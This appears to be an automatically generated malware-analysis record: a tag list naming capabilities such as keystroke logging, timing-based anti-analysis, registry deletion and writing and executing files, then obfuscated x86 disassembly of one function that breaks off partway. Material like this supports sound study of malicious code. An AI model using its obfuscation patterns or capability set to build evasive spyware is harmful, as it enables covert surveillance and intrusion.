Function at 0x100131d6
Capabilities:
Accept command line arguments
Check for time delay via queryperformancecounter
Check os version
Clear file content
Create process on windows
Create thread
Delete directory
Delete registry key
Enumerate files on windows
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk size
Get file attributes
Get file size
Get file system object information
Get geographical location
Identify system language via api
Log keystrokes
Log keystrokes via polling
Parse pe header
Query environment variable
Query or enumerate registry key
Read .ini file
Resume thread
Start service
Terminate process
Write and execute a file

Disassembly:
mov eax, 0x1007f5d7
call fcn.1007e728
mov eax, 0x1594
call fcn.1007aee0
push ebx
push esi
push edi
mov dword [ebp - 0x58], ecx
lea ecx, [ebp - 0xfcc]
push 3
mov byte [ebp - 0x6d], dl
call fcn.10012956
xor eax, eax
xor edi, edi
mov dword [ebp - 4], eax
mov ebx, 0x3f7e813a
mov dword [ebp - 0x3c], ebx
inc edi
mov dword [ebp - 0x3c], 0xfffffff6
mov esi, 0xdac3
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10013244
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1244], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001322b
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10013260
push dword [ebp - 0x14]
lea ecx, [ebp - 0xfcc]
call fcn.100129c3
mov dword [eax], 0xadae8c9f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10013249
mov eax, dword [ebp - 0x38]
inc dword [ebp - 0x38]
cmp eax, 4
jne 0x10013275
mov eax, edi
jmp 0x10013277
xor eax, eax
mov dword [ebp - 0x123c], eax
lea ecx, [ebp - 0xfcc]
or dword [ebp - 4], 0xffffffff
call fcn.100129be
push 3
lea ecx, [ebp - 0xeb4]
call fcn.10012956
mov dword [ebp - 4], edi
xor eax, eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], 0xfffffff6
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], esi
push 3
mov dword [ebp - 0x14], eax
pop ebx
cmp dword [ebp - 0x14], ebx
jge 0x100132d1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x11e4], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100132b9
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x100132ed
push dword [ebp - 0x14]
lea ecx, [ebp - 0xeb4]
call fcn.100129c3
mov dword [eax], 0xadae8c9f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100132d6
mov eax, dword [ebp - 0x38]
inc dword [ebp - 0x38]
cmp eax, 4
jne 0x10013301
mov eax, edi
jmp 0x10013303
xor eax, eax
mov dword [ebp - 0x11dc], eax
lea ecx, [ebp - 0xeb4]
or dword [ebp - 4], 0xffffffff
call fcn.100129be
push 2
pop ebx
mov dword [ebp - 0x30], 0x53d8da8e
lea ecx, [ebp - 0x470]
push ebx
call fcn.10012956
mov dword [ebp - 4], ebx
xor eax, eax
mov dword [ebp - 0x38], 0x598aaf0a
mov dword [ebp - 0x4c], 0x7e7c14ab
mov dword [ebp - 0x4c], 0xdab551fa
mov dword [ebp - 0x4c], 0xfffffff8
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x4c], 0xdd2e91c8
mov dword [ebp - 0x4c], 0x38ca8c98
mov dword [ebp - 0x40], 0xc914a3a6
mov dword [ebp - 0x3c], 0x550e3526
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jge 0x10013394
push dword [ebp - 0x44]
lea ecx, [ebp - 0x470]
call fcn.100129c3
mov dword [eax], 9
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x10013376
xor eax, eax
push eax
lea ecx, [ebp - 0x470]
call fcn.100129c3
xor eax, eax
lea ecx, [ebp - 0x470]
push eax
call fcn.100129c3
mov ecx, dword [ebp - 0x30]
sub ecx, dword [ebp - 0x30]
mov dword [eax], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x30]
dec dword [ebp - 0x38]
mov dword [ebp - 0x4c], 0xfffffff9
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x4c]
dec edx
cmp edx, eax
setge cl
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x34], edi
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 0x1f90ef30
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x34]
jl 0x10013415
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x10013415
push edi
lea ecx, [ebp - 0x470]
call fcn.100129c3
cmp dword [eax], 0
jne 0x10013415
xor eax, eax
jmp 0x10013417
mov eax, edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
xor edx, edx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setne dl
xor eax, eax
mov dword [ebp - 0x4c], edx
cmp dword [ebp - 0x4c], eax
je 0x1001344b
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10013461
push eax
push eax
call ebx
jmp 0x1001345f
mov dword [ebp - 0x2c], 0xfff8
mov dword [ebp - 0x4c], 0xfa8fad74
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], eax
xor eax, eax
push eax
lea ecx, [ebp - 0x470]
call fcn.100129c3
mov ecx, dword [ebp - 0x40]
or dword [ebp - 4], 0xffffffff
mov dword [eax], ecx
lea ecx, [ebp - 0x470]
call fcn.100129be
movdqa xmm0, xmmword [0x10007e90]
lea eax, [ebp - 0x1048]
push eax
lea eax, [ebp - 0x1058]
push eax
lea ecx, [ebp - 0x1388]
movdqu xmmword [ebp - 0x1058], xmm0
call fcn.100129d5
lea ecx, [ebp - 0x159]
mov esi, eax
call fcn.100129d2
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x688]
push dword [esi]
call fcn.10012998
push 3
pop esi
xor eax, eax
mov dword [ebp - 4], esi
push eax
lea ecx, [ebp - 0x688]
call fcn.100129c3
mov dword [eax], 0xfffffff6
jmp 0x1001351d
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x100134fd
push 0xeb9
push eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x1001350f
push eax
call dword [sym.imp.KERNEL32.dll_EncodePointer]
xor eax, eax
push eax
lea ecx, [ebp - 0x688]
call fcn.100129c3
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x688]
push eax
call fcn.100129c3
cmp dword [eax], 0xfffffffd
jle 0x100134e4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x688]
call fcn.100129be
push esi
lea ecx, [ebp - 0xf78]
call fcn.10012956
mov dword [ebp - 4], 4
xor eax, eax
push 2
mov dword [ebp - 0x3c], 0x3f7e813a
pop esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x10013583
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x1544], 0x1c08901
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 3
jl 0x1001356a
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x1001359e
push 0x1e0b
push 0x2023
call dword [sym.imp.KERNEL32.dll_Beep]
xor eax, eax
mov dword [ebp - 0x34], esi
cmp dword [ebp - 0x34], eax
jl 0x100135b5
mov dword [ebp - 0x4c], 0x1591
inc dword [ebp - 0x4c]
dec dword [ebp - 0x34]
jns 0x100135a6
mov dword [ebp - 0x3c], 0xfffffff6
mov ecx, 0xffff
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x1c], 0xd837
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0xe1c2a911
mov dword [ebp - 0x3c], 5
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0xae0]
push edi
call fcn.10012956
push 5
pop eax
mov byte [ebp - 4], al
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
pop edx
cmp dword [ebp - 0x14], edx
jge 0x10013622
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1484], 0x56e3f0e2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1001360a
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10013649
push dword [ebp - 0x14]
lea ecx, [ebp - 0xae0]
call fcn.100129c3
mov dword [eax], 0x3b6ac891
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001362a
push 3
pop edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], edx
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x34]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0x1a812c00
setl al
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x10013693
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x4c], edx
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], esi
jge 0x100136cf
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x1308], 0x87697ab8
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], esi
jl 0x100136b7
xor eax, eax
dec dword [ebp - 0x4c]
lea ecx, [ebp - 0xae0]
inc dword [ebp - 0x40]
push eax
call fcn.100129c3
lea ecx, [ebp - 0xae0]
inc dword [eax]
mov byte [ebp - 4], 4
call fcn.100129be
xor eax, eax
mov dword [ebp - 0x38], 0xdac3
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1001371d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x122c], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10013704
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10013739
push dword [ebp - 0x14]
lea ecx, [ebp - 0xf78]
call fcn.100129c3
mov dword [eax], 0xadae8c9f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10013722
mov eax, dword [ebp - 0x38]
inc dword [ebp - 0x38]
cmp eax, 4
jne 0x1001374e
mov eax, edi
jmp 0x10013750
xor eax, eax
mov dword [ebp - 0x1224], eax
lea ecx, [ebp - 0xf78]
or dword [ebp - 4], 0xffffffff
call fcn.100129be
push edi
lea ecx, [ebp - 0x380]
call fcn.10012956
xor eax, eax
mov dword [ebp - 4], 6
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], edi
jge 0x100137a0
push dword [ebp - 0x44]
lea ecx, [ebp - 0x380]
call fcn.100129c3
mov dword [eax], 0x7e2799ac
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], edi
jl 0x10013782
xor eax, eax
push eax
lea ecx, [ebp - 0x380]
call fcn.100129c3
mov dword [eax], 0xfffffffe
jmp 0x100137e8
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x100137c7
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
xor eax, eax
push eax
lea ecx, [ebp - 0x380]
call fcn.100129c3
cmp dword [eax], 0
jne 0x100137fb
xor eax, eax
lea ecx, [ebp - 0x380]
push eax
call fcn.100129c3
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x380]
push eax
call fcn.100129c3
cmp dword [eax], 7
jl 0x100137b4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x380]
call fcn.100129be
mov dword [ebp - 0x30], 0x53d8da8e
lea ecx, [ebp - 0x47c]
push esi
call fcn.10012956
mov dword [ebp - 4], 7
xor eax, eax
mov dword [ebp - 0x38], 0x598aaf0a
mov dword [ebp - 0x4c], 0x7e7c14ab
mov dword [ebp - 0x4c], 0xdab551fa
mov dword [ebp - 0x4c], 0xfffffff8
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x4c], 0xdd2e91c8
mov dword [ebp - 0x4c], 0x38ca8c98
mov dword [ebp - 0x40], 0xc914a3a6
mov dword [ebp - 0x3c], 0x550e3526
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], esi
jge 0x10013887
push dword [ebp - 0x44]
lea ecx, [ebp - 0x47c]
call fcn.100129c3
mov dword [eax], 9
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], esi
jl 0x10013869
xor eax, eax
push eax
lea ecx, [ebp - 0x47c]
call fcn.100129c3
xor eax, eax
lea ecx, [ebp - 0x47c]
push eax
call fcn.100129c3
mov ecx, dword [ebp - 0x30]
sub ecx, dword [ebp - 0x30]
push 0xfffffffffffffff9
mov dword [eax], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x30]
dec dword [ebp - 0x38]
pop esi
mov dword [ebp - 0x4c], esi
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x4c]
dec edx
cmp edx, eax
setge cl
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x34], edi
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 0x1f90ef30
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x34]
jl 0x10013907
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x10013907
push edi
lea ecx, [ebp - 0x47c]
call fcn.100129c3
cmp dword [eax], 0
jne 0x10013907
xor eax, eax
jmp 0x10013909
mov eax, edi
mov dword [ebp - 0x34], eax
xor edx, edx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setne dl
xor eax, eax
mov dword [ebp - 0x4c], edx
cmp dword [ebp - 0x4c], eax
je 0x10013937
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x1001394d
push eax
push eax
call ebx
jmp 0x1001394b
mov dword [ebp - 0x2c], 0xfff8
mov dword [ebp - 0x4c], 0xfa8fad74
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], eax
xor eax, eax
push eax
lea ecx, [ebp - 0x47c]
call fcn.100129c3
mov ecx, dword [ebp - 0x40]
or dword [ebp - 4], 0xffffffff
mov dword [eax], ecx
lea ecx, [ebp - 0x47c]
call fcn.100129be
mov dword [ebp - 0x40], 9
xor eax, eax
mov dword [ebp - 0x4c], 3
mov dword [ebp - 0x34], 0xfd77ccca
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x100139a7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xac], 0x1d925b0e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001398f
xor eax, eax
push 2
mov dword [ebp - 0x14], eax
pop ebx
cmp dword [ebp - 0x14], ebx
jge 0x100139ca
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x64c], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100139b2
xor eax, eax
mov esi, 0xcd2466e9
cmp dword [ebp - 0xac], eax
jne 0x10013a43
mov ecx, dword [ebp - 0xac]
xor edx, edx
mov eax, dword [ebp - 0x40]
cmp eax, ecx
mov eax, dword [ebp - 0xac]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xac]
setle cl
cmp esi, ecx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
sete cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x40]
jne 0x10013a28
mov edx, eax
cmp dword [ebp - 0x34], eax
je 0x10013a2a
mov edx, edi
mov eax, dword [ebp - 0xac]
xor ecx, ecx
cmp eax, edx
setge cl
sub ecx, dword [ebp - 0x34]
mov dword [ebp - 0x34], ecx
jne 0x10013a43
xor eax, eax
jmp 0x10013a45
mov eax, edi
mov dword [ebp - 0x648], eax
xor eax, eax
cmp dword [ebp - 0x648], eax
je 0x10013a7d
mov dword [ebp - 0x2c], 0xe1054d81
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10013a72
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x64c], eax
jmp 0x10013a8d
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10013a8d
push eax
push eax
call dword [sym.imp.USER32.dll_EnumWindows]
movdqa xmm0, xmmword [0x10007e90]
lea eax, [ebp - 0x1148]
push eax
lea eax, [ebp - 0x1158]
push eax
lea ecx, [ebp - 0x1340]
movdqu xmmword [ebp - 0x1158], xmm0
call fcn.100129d5
lea ecx, [ebp - 0x15b]
mov esi, eax
call fcn.100129d2
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x7c8]
push dword [esi]
call fcn.10012998
push 8
pop esi
xor eax, eax
mov dword [ebp - 4], esi
push eax
lea ecx, [ebp - 0x7c8]
call fcn.100129c3
mov dword [eax], 0xfffffff6
jmp 0x10013b29
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10013b09
push 0xeb9
push eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10013b1b
push eax
call dword [sym.imp.KERNEL32.dll_EncodePointer]
xor eax, eax
push eax
lea ecx, [ebp - 0x7c8]
call fcn.100129c3
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x7c8]
push eax
call fcn.100129c3
cmp dword [eax], 0xfffffffd
jle 0x10013af0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7c8]
call fcn.100129be
xor eax, eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x10013b72
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x1514], 0x1c08901
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 3
jl 0x10013b59
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10013b8d
push 0x1e0b
push 0x2023
call dword [sym.imp.KERNEL32.dll_Beep]
xor eax, eax
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], eax
jl 0x10013ba4
mov dword [ebp - 0x4c], 0x1591
inc dword [ebp - 0x4c]
dec dword [ebp - 0x34]
jns 0x10013b95
push 3
lea ecx, [ebp - 0xf90]
call fcn.10012956
mov dword [ebp - 4], 9
mov ecx, 0xffff
mov dword [ebp - 0x1c], 0xd837
xor eax, eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x3c], eax
push 5
pop eax
mov dword [ebp - 0x3c], 0xe1c2a911
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0xa8c]
push edi
call fcn.10012956
xor eax, eax
mov byte [ebp - 4], 0xa
push 3
mov dword [ebp - 0x14], eax
pop edx
cmp dword [ebp - 0x14], edx
jge 0x10013c1a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x149c], 0x56e3f0e2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10013c02
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10013c41
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa8c]
call fcn.100129c3
mov dword [eax], 0x3b6ac891
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10013c22
push 3
pop edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], edx
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x34]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0x1a812c00
setl al
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x10013c8b
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x4c], edx
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jge 0x10013cc7
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x13c0], 0x87697ab8
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x10013caf
xor eax, eax
dec dword [ebp - 0x4c]
lea ecx, [ebp - 0xa8c]
inc dword [ebp - 0x40]
push eax
call fcn.100129c3
lea ecx, [ebp - 0xa8c]
inc dword [eax]
mov byte [ebp - 4], 9
call fcn.100129be
mov dword [ebp - 0x3c], 0x3f7e813a
lea ecx, [ebp - 0xecc]
push ebx
call fcn.10012956
push 3
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0xb
call fcn.10012956
xor eax, eax
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10013d36
push dword [ebp - 0x14]
lea ecx, [ebp - 0xecc]
call fcn.100129c3
mov dword [eax], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10013d1c
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
pop ebx
jmp 0x10013d4c
push dword [ebp - 0x14]
call fcn.100129c3
and dword [eax], 0
inc dword [ebp - 0x14]
lea ecx, [ebp - 0x494]
cmp dword [ebp - 0x14], ebx
jl 0x10013d3e
push edi
call fcn.100129c3
and dword [eax], 0
jmp 0x10013d8c
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10013d7e
push eax
push eax
push eax
push eax
push eax
push eax
push 0x126
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push edi
lea ecx, [ebp - 0x494]
call fcn.100129c3
inc dword [eax]
push edi
lea ecx, [ebp - 0x494]
call fcn.100129c3
cmp dword [eax], edi
jle 0x10013d62
lea ecx, [ebp - 0x494]
call fcn.100129be
lea ecx, [ebp - 0xecc]
mov byte [ebp - 4], 9
call fcn.100129be
mov dword [ebp - 0x3c], 0xfffffff6
lea ecx, [ebp - 0x41c]
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x18], 0xdac3
mov dword [ebp - 0x1c], 0xfffc
push edi
call fcn.10012956
xor eax, eax
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10013e06
push dword [ebp - 0x14]
lea ecx, [ebp - 0x41c]
call fcn.100129c3
mov dword [eax], 0xcf1813f1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10013de8
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10013e1c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x550], 0x1b71
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10013e0b
mov eax, dword [ebp - 0x1c]
xor ebx, ebx
push 5
pop ecx
cmp eax, ecx
lea ecx, [ebp - 0x41c]
setne bl
xor eax, eax
push eax
call fcn.100129c3
mov dword [eax], ebx
test ebx, ebx
jne 0x10013ea4
xor eax, eax
lea ecx, [ebp - 0x41c]
push eax
call fcn.100129c3
xor eax, eax
lea ecx, [ebp - 0x41c]
push eax
call fcn.100129c3
xor edx, edx
mov ecx, dword [eax]
mov eax, dword [ebp - 0x548]
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x41c]
setge dl
cmp edx, eax
setne bl
xor eax, eax
push eax
call fcn.100129c3
xor ecx, ecx
mov dword [eax], ebx
mov eax, dword [ebp - 0x548]
cmp ebx, eax
mov eax, dword [ebp - 0x548]
setle cl
sub ecx, eax
jne 0x10013ea4
xor eax, eax
mov ecx, eax
jmp 0x10013ea6
mov ecx, edi
mov eax, dword [ebp - 0x548]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp eax, edx
setg cl
cmp ecx, dword [ebp - 0x548]
jne 0x10013f1e
push 2
pop ebx
push ebx
lea ecx, [ebp - 0xce4]
call fcn.10012956
xor eax, eax
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jge 0x10013f00
push dword [ebp - 0x44]
lea ecx, [ebp - 0xce4]
call fcn.100129c3
mov dword [eax], 6
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x10013ee2
xor eax, eax
push eax
lea ecx, [ebp - 0xce4]
call fcn.100129c3
lea ecx, [ebp - 0xce4]
dec dword [eax]
call fcn.100129be
jmp 0x10014031
xor eax, eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x1c], 0xffffffe4
cmp dword [ebp - 0x1c], 4
je 0x10014021
push edi
lea ecx, [ebp - 0xaa4]
call fcn.10012956
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1020]
mov dword [ebp - 0x2c], 0xfffffff8
push edi
call fcn.10012956
xor eax, eax
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10013f84
push dword [ebp - 0x24]
lea ecx, [ebp - 0xaa4]
call fcn.100129c3
push 2
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10013f65
xor eax, eax
jmp 0x10013f87
push 2
pop ecx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x10013fa7
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1278], 0x8ac29ba1
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x10013f8f
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10013fcd
push dword [ebp - 0x24]
lea ecx, [ebp - 0x1020]
call fcn.100129c3
mov dword [eax], 0xb5dfeb07
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10013faf
xor eax, eax
push eax
lea ecx, [ebp - 0xaa4]
call fcn.100129c3
lea ecx, [ebp - 0x41c]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
xor eax, eax
push eax
call fcn.100129c3
mov ecx, dword [ebp - 0x4c]
xor edx, edx
cmp ecx, edi
lea ecx, [ebp - 0x1020]
setg dl
mov dword [eax], edx
call fcn.100129be
lea ecx, [ebp - 0xaa4]
mov byte [ebp - 4], 0xd
call fcn.100129be
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jne 0x10013f34
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10014031
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
lea ecx, [ebp - 0x41c]
mov byte [ebp - 4], 9
call fcn.100129be
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
pop ebx
cmp dword [ebp - 0x14], ebx
jge 0x10014065
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x11fc], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1001404d
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jge 0x10014085
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x155c], 0xec0ae971
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x1001406d
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x1001409b
push 0x83b
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
